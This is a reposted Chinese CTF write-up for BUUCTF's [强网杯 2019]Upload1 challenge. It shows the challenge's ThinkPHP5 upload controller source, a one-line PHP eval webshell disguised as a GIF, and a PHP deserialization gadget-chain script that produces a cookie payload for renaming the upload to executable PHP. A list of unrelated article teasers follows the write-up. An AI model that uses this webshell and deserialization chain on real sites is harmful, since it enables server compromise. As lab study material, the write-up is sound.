62,【2】 BUUCTF WEB [强网杯 2019]Upload1

news2025/1/22 10:18:28

进入靶场

此处考点不是SQL,就正常注册并登录进去

先随便传一个

进行目录扫描,我先用爆破代替

先随便后面写个文件名

为了提供payload位置

www.tar.gz真的存在

返回浏览器修改url就自动下载了

看到tp5,应该是ThinkPHP5框架

参考此博客的思路方法c[强网杯 2019]Upload-CSDN博客

发现application

发现

断点

判断有没有注册

断点

看到login_check想到反序列化

都在提示我们用cookie传序列化字符串

上传部分也注意一下

<?php
// 命名空间声明
namespace app\web\controller;

// 引入 think\Controller 类
use think\Controller;

class Profile extends Controller
{
    // 定义类属性
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;

    // 构造函数
    public function __construct()
    {
        // 创建 Index 类的实例作为检查器
        $this->checker = new Index();
        // 使用客户端的 IP 地址生成一个唯一的上传目录名(通过 MD5 哈希)
        $this->upload_menu = md5($_SERVER['REMOTE_ADDR']);
        // 尝试切换到上级目录下的 public/upload 目录
        @chdir("../public/upload");
        // 如果该目录不存在,则创建该目录
        if (!is_dir($this->upload_menu)) {
            @mkdir($this->upload_menu);
        }
        // 切换到生成的上传目录
        @chdir($this->upload_menu);
    }

    // 处理图片上传的方法
    public function upload_img()
    {
        // 检查是否有检查器实例
        if ($this->checker) {
            // 调用检查器的 login_check 方法检查用户是否登录,如果未登录重定向到首页
            if (!$this->checker->login_check()) {
                $curr_url = "http://". $_SERVER['HTTP_HOST']. $_SERVER['SCRIPT_NAME']. "/index";
                $this->redirect($curr_url, 302);
                exit();
            }
        }
        // 检查是否有文件上传
        if (!empty($_FILES)) {
            // 获取上传文件的临时存储路径
            $this->filename_tmp = $_FILES['upload_file']['tmp_name'];
            // 将上传文件的名称进行 MD5 哈希并添加.png 后缀
            $this->filename = md5($_FILES['upload_file']['name']). ".png";
            // 调用文件扩展名检查方法
            $this->ext_check();
        }
        // 如果文件扩展名通过检查
        if ($this->ext) {
            // 检查文件是否为图片
            if (getimagesize($this->filename_tmp)) {
                // 将临时文件复制到最终存储位置
                @copy($this->filename_tmp, $this->filename);
                // 删除临时文件
                @unlink($this->filename_tmp);
                // 存储图片的完整路径
                $this->img = "../upload/$this->upload_menu/$this->filename";
                // 调用更新图片信息的方法
                $this->update_img();
            } else {
                // 如果文件不是图片,显示错误信息并重定向到首页
                $this->error('Forbidden type!', url('../index'));
            }
        } else {
            // 如果文件扩展名不通过检查,显示错误信息并重定向到首页
            $this->error('Unknow file type!', url('../index'));
        }
    }

    // 更新用户头像信息到数据库和 cookie 的方法
    public function update_img()
    {
        // 从数据库中查找用户信息
        $user_info = db('user')->where("ID", $this->checker->profile['ID'])->find();
        // 如果用户没有头像且存在新上传的头像
        if (empty($user_info['img']) && $this->img) {
            // 将头像信息更新到数据库中
            if (db('user')->where('ID', $user_info['ID'])->data(["img" => addslashes($this->img)])->update()) {
                // 更新 cookie 中的用户信息
                $this->update_cookie();
                // 显示成功信息并跳转到主页
                $this->success('Upload img successful!', url('../home'));
            } else {
                // 如果更新失败,显示错误信息并跳转到首页
                $this->error('Upload file failed!', url('../index'));
            }
        }
    }

    // 更新 cookie 中的用户信息
    public function update_cookie()
    {
        // 将头像信息更新到检查器的 profile 信息中
        $this->checker->profile['img'] = $this->img;
        // 将序列化并 base64 编码后的用户信息存储到 cookie 中,有效期 1 小时
        cookie("user", base64_encode(serialize($this->checker->profile)), 3600);
    }

    // 检查文件扩展名的方法
    public function ext_check()
    {
        // 将文件名按点分割,取最后一部分作为扩展名
        $ext_arr = explode(".", $this->filename);
        $this->ext = end($ext_arr);
        // 如果扩展名是 png,返回 1,否则返回 0
        if ($this->ext == "png") {
            return 1;
        } else {
            return 0;
        }
    }

    // 魔术方法 __get,用于获取不存在的属性
    public function __get($name)
    {
        return $this->except[$name];
    }

    // 魔术方法 __call,用于调用不存在的方法
    public function __call($name, $arguments)
    {
        if ($this->{$name}) {
            $this->{$this->{$name}}($arguments);
        }
    }
}

传个木马GIF89a<?php @eval($_POST['attack']);?>

得到图片路径

<img src="../upload/5e6f2693d111128ec4f1d7336f65b87f/956f92ddc6f28ffb49090277e0b57cf7.png" height="30" width="30">

<?php

namespace app\web\controller;
error_reporting(0);
class Profile
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;


    public function __get($name)
    {
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

}

class Register
{
    public $checker;
    public $registed;

    public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }

}

$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
$profile->filename_tmp = "./upload/5e6f2693d111128ec4f1d7336f65b87f/956f92ddc6f28ffb49090277e0b57cf7.png";
$profile->filename = "./upload/5e6f2693d111128ec4f1d7336f65b87f/956f92ddc6f28ffb49090277e0b57cf7.png";

$register = new Register();
$register->registed = false;
$register->checker = $profile;

echo urlencode(base64_encode(serialize($register)));

将代码运行赋值给cookie,并用蚁剑连接,就可得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2280300.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

IDEA导入Maven工程不识别pom.xml

0 现象 把阿里 sentinel 项目下载本地后&#xff0c;IDEA 中却没显示 maven 工具栏。 1 右键Maven Projects 点击IDEA右侧边栏的Maven Projects&#xff0c;再点击&#xff1a; 在出现的选择框中选择指定的未被识别的pom.xml即可&#xff1a; 2 Add as maven project 右键p…

LDD3学习9--数据类型和定时器

这部分对应的是第七章和第十一章&#xff0c;因为内容也不是很多&#xff0c;就一起写了。里面的内容基本上就是一个个的点&#xff0c;所以也就一个个点简单总结一下。 1 数据类型 1.1 数据长度 不同操作系统类型长度可能不一样&#xff0c;看图的话最好用u8&#xff0c;u16&…

latex去掉bibliography自带的reference

latex要去掉bibliography自带的reference其实很简单&#xff0c; 只需要加以下命令&#xff1a; \begingroup % 去掉thebibliography环境自带的“参考文献”标题 \renewcommand{\section}[2]{} 即可。 效果如图

AI在SEO中的关键词优化策略探讨

内容概要 在当今数字化时代&#xff0c;人工智能&#xff08;AI&#xff09;正逐渐重塑搜索引擎优化&#xff08;SEO&#xff09;行业。AI技术的快速发展使得SEO策略发生了翻天覆地的变化&#xff0c;特别是在关键词优化方面。关键词优化的基本概念是通过选择与用户搜索意图密…

Windows 上安装 MongoDB 的 zip 包

博主介绍&#xff1a; 大家好&#xff0c;我是想成为Super的Yuperman&#xff0c;互联网宇宙厂经验&#xff0c;17年医疗健康行业的码拉松奔跑者&#xff0c;曾担任技术专家、架构师、研发总监负责和主导多个应用架构。 近期专注&#xff1a; RPA应用研究&#xff0c;主流厂商产…

Kotlin Bytedeco OpenCV 图像图像50 仿射变换 图像缩放

Kotlin Bytedeco OpenCV 图像图像50 仿射变换 图像缩放 1 添加依赖2 测试代码3 测试结果 在OpenCV中&#xff0c;仿射变换&#xff08;Affine Transformation&#xff09;和透视变换&#xff08;Perspective Transformation&#xff09;是两种常用的图像几何变换方法。 变换方…

传统企业怎样实现数字化转型升级?

​很多企业工厂都知道数字化转型是大势所趋。 但很多时候&#xff0c;仅仅知道是不行的&#xff0c;要贯彻落实才有意义。针对每个阶段&#xff0c;企业要有相应的行动方案&#xff0c;不行动&#xff0c;永远都是理论层面的&#xff0c;一点都没有用&#xff0c;这里就给大家…

HTML 表单和输入标签详解

HTML 表单是网页与用户交互的重要工具&#xff0c;它允许用户输入数据并将其提交到服务器。表单在网页中的应用非常广泛&#xff0c;例如登录、注册、搜索、评论等功能都离不开表单。本文将详细介绍 HTML 表单及其相关标签的使用方法&#xff0c;帮助你全面掌握表单的设计与实现…

机器学习(5):支持向量机

1 介绍 支持向量机&#xff08;Support Vector Machine&#xff0c;简称 SVM&#xff09;是一种监督学习算法&#xff0c;主要用于分类和回归问题。SVM 的核心思想是找到一个最优的超平面&#xff0c;将不同类别的数据分开。这个超平面不仅要能够正确分类数据&#xff0c;还要使…

ASP.NET Blazor部署方式有哪些?

今天我们来说说Blazor的三种部署方式&#xff0c;如果大家还不了解Blazor&#xff0c;那么我先简单介绍下Blazor Blazor 是一种 .NET 前端 Web 框架&#xff0c;在单个编程模型中同时支持服务器端呈现和客户端交互性&#xff1a; ● 使用 C# 创建丰富的交互式 UI。 ● 共享使用…

渗透测试--攻击常见的Web应用

本文章咱主要讨论&#xff0c;常见Web应用的攻击手法&#xff0c;其中并不完全&#xff0c;因为Web应用是在太多无法囊括全部&#xff0c;但其中的手法思想却值得我们借鉴&#xff0c;所以俺在此做了记录&#xff0c;希望对大家有帮助&#xff01;主要有以下内容&#xff1a; 1…

Spring Boot自动配置原理:如何实现零配置启动

引言 在现代软件开发中&#xff0c;Spring 框架已经成为 Java 开发领域不可或缺的一部分。而 Spring Boot 的出现&#xff0c;更是为 Spring 应用的开发带来了革命性的变化。Spring Boot 的核心优势之一就是它的“自动配置”能力&#xff0c;它极大地简化了 Spring 应用的配置…

PHP同城配送小程序

&#x1f680; 同城极速达——您生活中的极速配送大师 &#x1f4f1; 一款专为现代都市快节奏生活量身打造的同城配送小程序&#xff0c;同城极速达&#xff0c;集高效、便捷、智能于一身&#xff0c;依托ThinkPHPGatewayWorkerUniapp的强大架构&#xff0c;巧妙融合用户端、骑…

Kotlin Bytedeco OpenCV 图像图像57 图像ROI

Kotlin Bytedeco OpenCV 图像图像57 图像ROI 1 添加依赖2 测试代码3 测试结果 1 添加依赖 <?xml version"1.0" encoding"UTF-8"?> <project xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xmlns"http://maven.apache.o…

RabbitMQ集群安装rabbitmq_delayed_message_exchange

1、单节点安装rabbitmq安装延迟队列 安装延迟队列rabbitmq_delayed_message_exchange可以参考这个文章&#xff1a; rabbitmq安装延迟队列-CSDN博客 2、集群安装rabbitmq_delayed_message_exchange 在第二个节点 join_cluster 之后&#xff0c;start_app 就会报错了 (CaseC…

蓝桥与力扣刷题(73 矩阵置零)

题目&#xff1a;给定一个 m x n 的矩阵&#xff0c;如果一个元素为 0 &#xff0c;则将其所在行和列的所有元素都设为 0 。请使用 原地 算法。 示例 1&#xff1a; 输入&#xff1a;matrix [[1,1,1],[1,0,1],[1,1,1]] 输出&#xff1a;[[1,0,1],[0,0,0],[1,0,1]]示例 2&…

华为E9000刀箱服务器监控指标解读

美信监控易内置了数千种常见设备监测器&#xff0c;能够监测超过20万项指标。这些指标涵盖了从硬件设备到软件系统&#xff0c;从网络性能到安全状态等各个方面。如下基于美信监控易——IT基础监控模块&#xff0c;对华为E9000刀箱服务器部分监控指标进行解读。 一、华为E9000…

【0x04】HCI_Connection_Request事件详解

目录 一、事件概述 二、事件格式及参数 2.1. HCI_Connection_Request 事件格式 2.2. BD_ADDR 2.3. Class_Of_Device 2.4. Link_Type 三、主机响应 3.1. ACL链接类型 3.2. SCO或eSCO链接类型 四、应用场景 4.1. 设备配对场景 4.2. 蓝牙文件传输场景 4.3. 蓝牙物联网…

PIC单片机设置bootloader程序和app程序地址方法

在调试bootloader和app程序的时候通常都需要设置程序的偏移地址&#xff0c;下面就总结一下使用MPLAB X IDE 设置程序地址的方法。 打开bootloader工程 工程上单击鼠标右键&#xff0c;选择Properties,打工工程属性窗口。 此时会打开项目属性对话框 左边类别选择XC8 Line…

10_异步加载场景前打开加载窗口

首先要在资源加载场景时 先加载LoadingWnd 加载窗口 逻辑上是 1.先加载 加载窗口LoadingWnd 2.在加载场景的同时 显示加载进度 3.最后在加载完成时关闭 加载窗口LoadingWnd 4.打开 登录窗口LoginWnd 如果想控制 窗口类Wnd.cs 需要创建Wnd.cs脚本 创建一个文件夹UIWindow用来…